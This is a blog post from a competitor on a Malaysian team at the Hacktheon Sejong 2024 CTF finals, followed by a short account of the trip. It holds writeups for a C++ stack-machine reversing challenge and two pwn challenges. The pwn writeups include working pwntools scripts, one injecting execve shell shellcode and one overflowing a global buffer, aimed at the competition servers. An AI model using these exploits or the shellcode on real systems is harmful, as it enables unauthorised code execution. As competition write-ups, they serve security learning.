Overview

Last week, I traveled to Sejong, South Korea with my Malaysian team Kopi Cincau (comprising of me, Kelzin, Firdaus, and Teng) to play in this year’s Hacktheon Sejong Finals (Advanced category).

We only managed to get #12 in the Advanced category, but it was a super tight ctf. The difference between us and first place were only 2 challanges. (We would’ve gotten #2 if we played in the beginner category!). It was a good experience overall, and I’m grateful for the opportunity to go there and play.

This post is going to be first writeups for some of the challenges I’ve solved/contributed in, and then its gonna be a short blog about my experience there.

All challenges and exploit scripts could be found here.

Thanks to Secure D and CyberWise for sponsoring the trip, and SherpaSec for supporting us too. Also thanks to Trailbl4z3r for helping us throughout the trip! The trip wouldn’t be possible without them.

Writeups

Interpreter 1 (rev)

This was a C++ reversing challenge that I solved together with Teng. I didn’t want to work on this challenge at first since it was C++ reversing, but then Teng had some progress on it, and it seemed like quite a few teams have solved the challenge, so I hopped on the chall. We didn’t really solve this by reversing everything, but instead using dynamic analysis.

The challenge was an expression interpreter, and could process operators like +,-,*,/

The main function consisted of a lot of functions, but eventually Teng found the function which printed the flag, and also the check function to check if we have the correct input

        ...
        uVar7 = FUN_00103f60(local_108,local_90);
        if ((uVar7 & 1) != 0) {
          print_flag();
        }
        ...

Taking a look at the check function:

// FUN_00103f60
__int64 __fastcall final_check(_QWORD *a1, _QWORD *a2) {
  v4 = op_shift_right(a1);
  if ( v4 == op_shift_right(a2) ) // check for expression
  {
    for ( i = 0LL; i < 0x14; ++i ) {
      v3 = *(unsigned __int16 *)sub_4048B0(a1, i);
      if ( v3 != *(unsigned __int16 *)sub_4048B0(a2, i)) {
        // check two bytes at a time
        v6 = 0;
        return v6 & 1;
      }
    }
    v6 = 1;
  }
  else
  {
    v6 = 0;
  }
  return v6 & 1;
}

__int64 __fastcall op_shift_right(_QWORD *a1){
  return (__int64)(a1[1] - *a1) >> 1;
}


__int64 __fastcall sub_4048B0(_QWORD *a1, __int64 a2){
  return *a1 + 2 * a2;
}

Through gdb, we realised that **a2 is always the same, and that our input could manipulate the values in **a1, so we assumed that the aim is to make **a1 == **a2.

0x555555557f60 (
   $rdi = 0x00007fffffffe110 (a1) → 0x0000555555598820 → 0x0002800000018000, <-|-- make them same
   $rsi = 0x00007fffffffe188 (a2) → 0x0000555555597ae0 → 0x0002800000038000  <-|
)

So first we have to pass the op_shift_right check, and to analyse that we breakpointed at the comparison of v4 == op_shift_right(a2)

$rax   : 0x8 
$rcx   : 0x14

 → 0x555555557f9a                  cmp    rax, rcx

By playing around with different inputs and expressions, we found out that we could change the value of rax by passing in different combinations of + - * / in the expression.

We then were able to pass this check by using the input -123+122+232*12321/12312+12312

Next up, it seems like the check function compares the bytes in a1 and a2 two bytes at a time. They check a total of 0x28 bytes. So what we did next was logically analyse what was inside a2 in the check function, and try to see how our expresssion is stored in memory.

I noticed that the bytes seem to be in 2 bytes chunks, and since the check function also check two bytes at a time, I examined the memory 2 bytes at a time

1+1 in memory
0x555555598360: 0x8000  0x0001  0x8000  0x0001  0x8010

1-1 in memory
0x555555598360: 0x8000  0x0001  0x8000  0x0001  0x8011

1*1 in memory
0x555555598360: 0x8000  0x0001  0x8000  0x0001  0x8012

1/1 in memory
0x555555598360: 0x8000  0x0001  0x8000  0x0001  0x8013

So we can see that numbers are stored in 2 bytes,  
in front of every number there is a 0x8000, and that  
+: 0x8010  
-: 0x8011  
*: 0x8012  
/: 0x8013  

Further analysing by chaining expressions

1+2-3*4/5 in memory
0x555555597b10: 0x8000  0x0001  0x8000  0x0002  0x8010  0x8000  0x0003  0x8000
0x555555597b20: 0x0004  0x8012  0x8000  0x0005  0x8013  0x8011

We then realised this is just an implementation of a stack machine, and that 0x8000 was just a push instruction, and 0x8011,0x8012,...just performs an operation on the top two values on the stack.

So now that we know how the expression is saved in memory, we can look at the expression that is compared, and try to mimic that expression.

0x8000  0x0003  0x8000  0x0002  0x8000  0x0005  0x8012  0x8000  0x0004  0x8011  
0x8010  0x8000  0x0007  0x8000  0x0006  0x8000  0x0003  0x8013  0x8012  0x8010

Reversing this expression using the info above, we can deduce that the final expression should be (3+((2*5)-4))+(7*(6/3)).

simpllocator (pwn)

There is a python file which loads a library ELF file called simpllocator.so. and allows us to interact with the functions of the library by sending json data

from socket import *
import json
import ctypes
import base64

lib = './simpllocator.so'
funcs = ctypes.cdll.LoadLibrary(lib)
print(funcs)

# void init()
init = funcs.init

# int allocate()
allocate = funcs.allocate
allocate.restype = ctypes.c_int # prob is return type

# int insert(fd, ptr, sz)
insert = funcs.insert
insert.argtypes = [ctypes.c_int, ctypes.POINTER(ctypes.c_int8), ctypes.c_int] # prob is argument type
insert.restype = ctypes.c_int

# int delete(fd)
delete = funcs.delete
delete.argtypes = [ctypes.c_int]
delete.restype = ctypes.c_int

# int mprotect(fd, flag)
mprotect = funcs.fd_mprotect
mprotect.argtypes = [ctypes.c_int, ctypes.c_int]
mprotect.restype = ctypes.c_int

# int execute(fd)
execute = funcs.execute
execute.argtypes = [ctypes.c_int]
execute.restype = ctypes.c_int

def parse_args(args):
    res = list()
    for arg in args:
        # in json data, have to mention type also
        type = arg['type']
        data = arg['data']
        if type == 'INT':
            data = ctypes.c_int(arg['data'])
        elif type == 'PTR':
            decoded = base64.b64decode(arg['data'])
            data = {'data' : (ctypes.c_int8 * len(decoded))(*decoded), 'len' : ctypes.c_int(len(decoded))}
        else:
            return None
        res.append(data)
    return res

init()
print("Hello! This is Simpllocator!")

while True:
    argc = 0
    args = None
    received = input()
    try:
        received = json.loads(received)
        callNum = received['callNum']
        if received['args'] is not None:
            argc = len(received['args'])
            args = received['args']

        if callNum == 1:
            if argc != 0:
                continue
            print(f"fd[{allocate()}] created.") # allocate is called here

        elif callNum == 2:
            if argc != 2 or received['args'][0]['type'] != 'INT':
                continue
            c_args = parse_args(args)
            if c_args is not None:
                if 0 <= insert(c_args[0], c_args[1]['data'],c_args[1]['len']): # !!! the 2nd arg is just a string
                    print(f"Data inserted at fd[{received['args'][0]['data']}]")

        elif callNum == 3:
            if argc != 1 or received['args'][0]['type'] != 'INT':
                continue
            c_args = parse_args(args)
            if 0 <= delete(c_args[0]):
                print(f"fd[{received['args'][0]['data']}] was deleted.")

        elif callNum == 4:
            if argc != 2 or received['args'][0]['type'] != 'INT' or received['args'][1]['type'] != 'INT':
                continue
            c_args = parse_args(args)
            if 0 <= mprotect(c_args[0], c_args[1]):
                print(f"fd[{received['args'][0]['data']}] permission changed.")

        elif callNum == 5:
            if argc != 1 or received['args'][0]['type'] != 'INT':
                continue
            c_args = parse_args(args)
            if 0 <= execute(c_args[0]):
                print(f"fd[{received['args'][0]['data']}] was executed.")
    except:

so how you interact with the functions is by sending json data like:

{
    "callNum": ...,
    "args": [
        { "type": "...", "data": ... },
        { "type": "...", "data": ... }
            ]
}

taking a look at the library functions:

int init(EVP_PKEY_CTX *ctx){
  setvbuf(stdin,(char *)0x0,2,0);
  setvbuf(stdout,(char *)0x0,2,0);
  setvbuf(stderr,(char *)0x0,2,0);
  pagesize = sysconf(0x1e);
  return 0x1040f0;
}

void allocate(void){
  undefined4 *__s;

  __s = (undefined4 *)malloc(pagesize);
  memset(__s,0,pagesize);
  *__s = 1;
  createfd(__s);
  return;
}

int createfd(undefined8 param_1){
  int idx;

  idx = 0;
  while( true ) {
    if (9 < idx) {
      return -1;
    }
    if (*(fds + idx * 8) == 0) break; // fds is a global variable
    idx = idx + 1;
  }
  *(fds + idx * 8) = param_1;
  return idx;
}

undefined8 insert(uint param_1,void *param_2,uint param_3){
  undefined8 uVar1;

  if (*(long *)(fds + (ulong)param_1 * 8) == 0) {
    uVar1 = 0xffffffff;
  }
  else {
    if (pagesize - 4 < param_3) {
      uVar1 = 0xffffffff;
    }
    else {
      memcpy((*(fds + param_1 * 8) + 4),param_2,param_3);
      uVar1 = 0;
    }
  }
  return uVar1;
}

int fd_mprotect(int param_1,int param_2){
  undefined4 *chunkPtr;
  int iVar2;

  chunkPtr = *(fds + (long)param_1 * 8);
  if (chunkPtr == (undefined4 *)0x0) {
    iVar2 = -1;
  }
  else {
    if (param_2 == 1) {
      iVar2 = mprotect((chunkPtr & -pagesize),pagesize,3);
      *chunkPtr = 1;
    }
    else {
      if (param_2 == 2) {
        iVar2 = mprotect((void *)((ulong)chunkPtr & -pagesize),pagesize * 2,7);
        // makes it executable?
        *chunkPtr = 2;
      }
      else {
        iVar2 = -1;
      }
    }
  }
  return iVar2;
}

undefined8 execute(int param_1,undefined8 param_2){
  int *piVar1;
  undefined8 uVar2;

  piVar1 = *(int **)(fds + (long)param_1 * 8);
  if (piVar1 == (int *)0x0) {
    uVar2 = 0xffffffff;
  }
  else {
    if (*piVar1 == 2) {
      // execute shellcode starting from second byte
      (*(piVar1 + 1))(param_1,param_2,piVar1 + 1);
      uVar2 = 0;
    }
    else {
      uVar2 = 0xffffffff;
    }
  }
  return uVar2;
}

undefined8 delete(uint param_1){
  int *__ptr;
  undefined8 uVar1;

  __ptr = *(int **)(fds + (ulong)param_1 * 8);
  if (__ptr == (int *)0x0) {
    uVar1 = 0xffffffff;
  }
  else {
    if (*__ptr != 1) {
      fd_mprotect(param_1,2);
    }
    free(__ptr);
    *(undefined8 *)(fds + (ulong)param_1 * 8) = 0;
    uVar1 = 0;
  }
  return uVar1;
}

reversing the functions is just:

alloc() allows us to allocate a page  
mprotect() allows to change permissions of the page
insert() allows us to write to the page
execute() allows us to execute instructions in the page

So what we can literally do is just allocate a page, write shellcode to the page, make the page executable, and execute it. Simple as that.

We just have to send the json data correctly to invoke the calls.

I wasted a lot of time on this challenge because I understood the insert function wrongly, and thought that it takes in a ptr, and copies input from the ptr into the page. But it actually just takes in raw bytes (which is stored in the form of a string), and the bytes are just copied to the page. So yeah I overcomplicated it.

from pwn import *
import json
import base64
#io = process(["python3","simpllocator.py"],aslr=False)
io = remote(b"hto2024-finals-nlb-9fcbd7ce07567668.elb.ap-northeast-2.amazonaws.com",17935)

def alloc():
    a = {"callNum": 1, "args": None}
    io.sendline(json.dumps(a))

def insert(idx,payload):
    a = {
            "callNum": 2,
            "args": [
                { "type": "INT", "data": idx },
                { "type": "PTR", "data": base64.b64encode(payload).decode()}
                    ]
        }
    io.sendline(json.dumps(a))

def mprotect(idx,permission):
    a = {
            "callNum": 4,
            "args": [
                { "type": "INT", "data": idx },
                { "type": "INT", "data": permission}
                    ]
        }
    io.sendline(json.dumps(a))

def execute(idx):
    a = {
            "callNum": 5,
            "args": [
                { "type": "INT", "data": idx },
                    ]
        }
    io.sendline(json.dumps(a))

sc = b"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"

alloc()
mprotect(0,2)
insert(0,sc)
execute(0)
io.interactive()

Dict (pwn)

The binary is just a simple dictionary / key-value store.

This is Simple Dictionary
1. Insert
2. Find
3. Exit
> 1
Key > ABAB
Value > CDCD
Insert success

There is a checkflag() function which is called every loop.

void main(void){
  setup();
  puts("This is Simple Dictionary");
  do {
    main_loop();
    checkflag();
  } while( true );
}

void checkflag(void){
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  if (DAT_00105080 == 0x31337) {
    __fd = open("flag",0);
    ...
    read(__fd,&local_58,0x40);
    printf("Flag: %s\n",&local_58);
  }
  }
  return;
}

So to get the flag, we just have to overwrite DAT_00105080 to 0x31337.
I was guessing that the key-values were probably just stored in the global variables memory region, and we could just somehow overwrite DAT_00105080 from there.

To test this, we can just:

gef➤  search-pattern ABAB
[+] Searching 'ABAB' in memory
[+] In '/home/vagrant/ctf/hacktheon_finals24/dict/dict'(0x555555558000-0x555555559000), permission=rw-
  0x555555558081 - 0x55555555808e  →   "ABAB\n=CDCD\n"

gef➤  x/s 0x555555558080
0x555555558080:	",ABAB\n=CDCD\n"

and the data we’re trying to overwrite is at 0x0000555555559080.
So yeah, assuming that there is no limit for the amount of key-values we can make / the limit is large enough, we can just make 0x1000 bytes worth of key-values and then write 0x31337.

Looking at the function that reads the key-values:

int * FUN_00101375(void){
  ...
  printf("Key > ");
  sVar3 = read(0,&local_b8,0x20);
  ...
  printf("Value > ");
  sVar3 = read(0,&local_98,0x80);
  ...
}

The max amount of bytes a key can have (counting newline byte) is 0x20, and the max amount of bytes a value can have is 0x80. So we just have to make around 0x1000/(0x20+0x80) ~ 25 key-values, to overwrite the global variable that is checked for flag.

It seems that commas and equal signs are added to the key-value strings, also newline bytes are stored too, so we have to include them in our bytes calculation too.

from pwn import *
#io = process("./dict")
io = remote(b"hto2024-finals-nlb-9fcbd7ce07567668.elb.ap-northeast-2.amazonaws.com",26432)

for i in range(25):
    io.sendlineafter(b"> ",b"1")
    io.sendlineafter(b"Key >",b"A"*(0x20-2))
    io.sendlineafter(b"Value >",b"B"*(0x80-2))

io.sendlineafter(b"> ",b"1")
io.sendlineafter(b"Key >",b"A"*(0x20-2))
io.sendlineafter(b"Value >",b"B"*(0x40-3))

io.sendlineafter(b"> ",b"1")
io.sendlineafter(b"Key >",p32(0x31337))
io.sendlineafter(b"Value >",b"pwn")

#gdb.attach(io)
io.interactive()

And that’s it for the writeups!
The challenges were pretty alright. I quite liked the interpreter 1 challenge (maybe cause we managed to solve it), but the difficulty for the two pwn challs might be a bit too low. There was another pwn chall that I didn’t write about and it had 0 solves, it was a hard C++ pwn chall that required you to exploit reference counting. So the jump of difficulty from the second pwn chall to the third was really huge.

There was also no crypto challs so our crypto player were just doing forensics lol.
But overall, the quality of the challs and infra was pretty good. Nice.

Experience

One of the best things about this trip is that I got to meet a lot of my friends that I’ve made in previous events! It was really fun seeing all of them for a second time (and third time for Faze), and catching up with everyone. I also got to make some new friends through them.

going to ctf venue with team and SG friends

The hotel provided was really nice, and the organisers even provided us transport from Incheon Airport to Sejong. Everything went pretty smoothly so praise given to the organisers.

Before we went back to Malaysia, we also toured around myeongdong. We were just walking around the night streets, and we also visited a kpop store. Had quite a lot of fun.

It was pretty cool since I was just there last year when I went to Korea for codegate, and in my blog post about codegate, I wrote that I wished to go to more onsite finals. And now I’m here again because of another onsite final. So, pretty cool.

Conclusion

Thanks so much to my teammates for making this a fun experience, and thanks again to the sponsors for making this trip possible. The organisers did a great job at providing everything, and were really easy to work with. Korea was also pretty nice, the food was pretty good, and everything is very clean.

Also thanks to all the friends I’ve met again there, hope we can meet up again soon!

Photo dump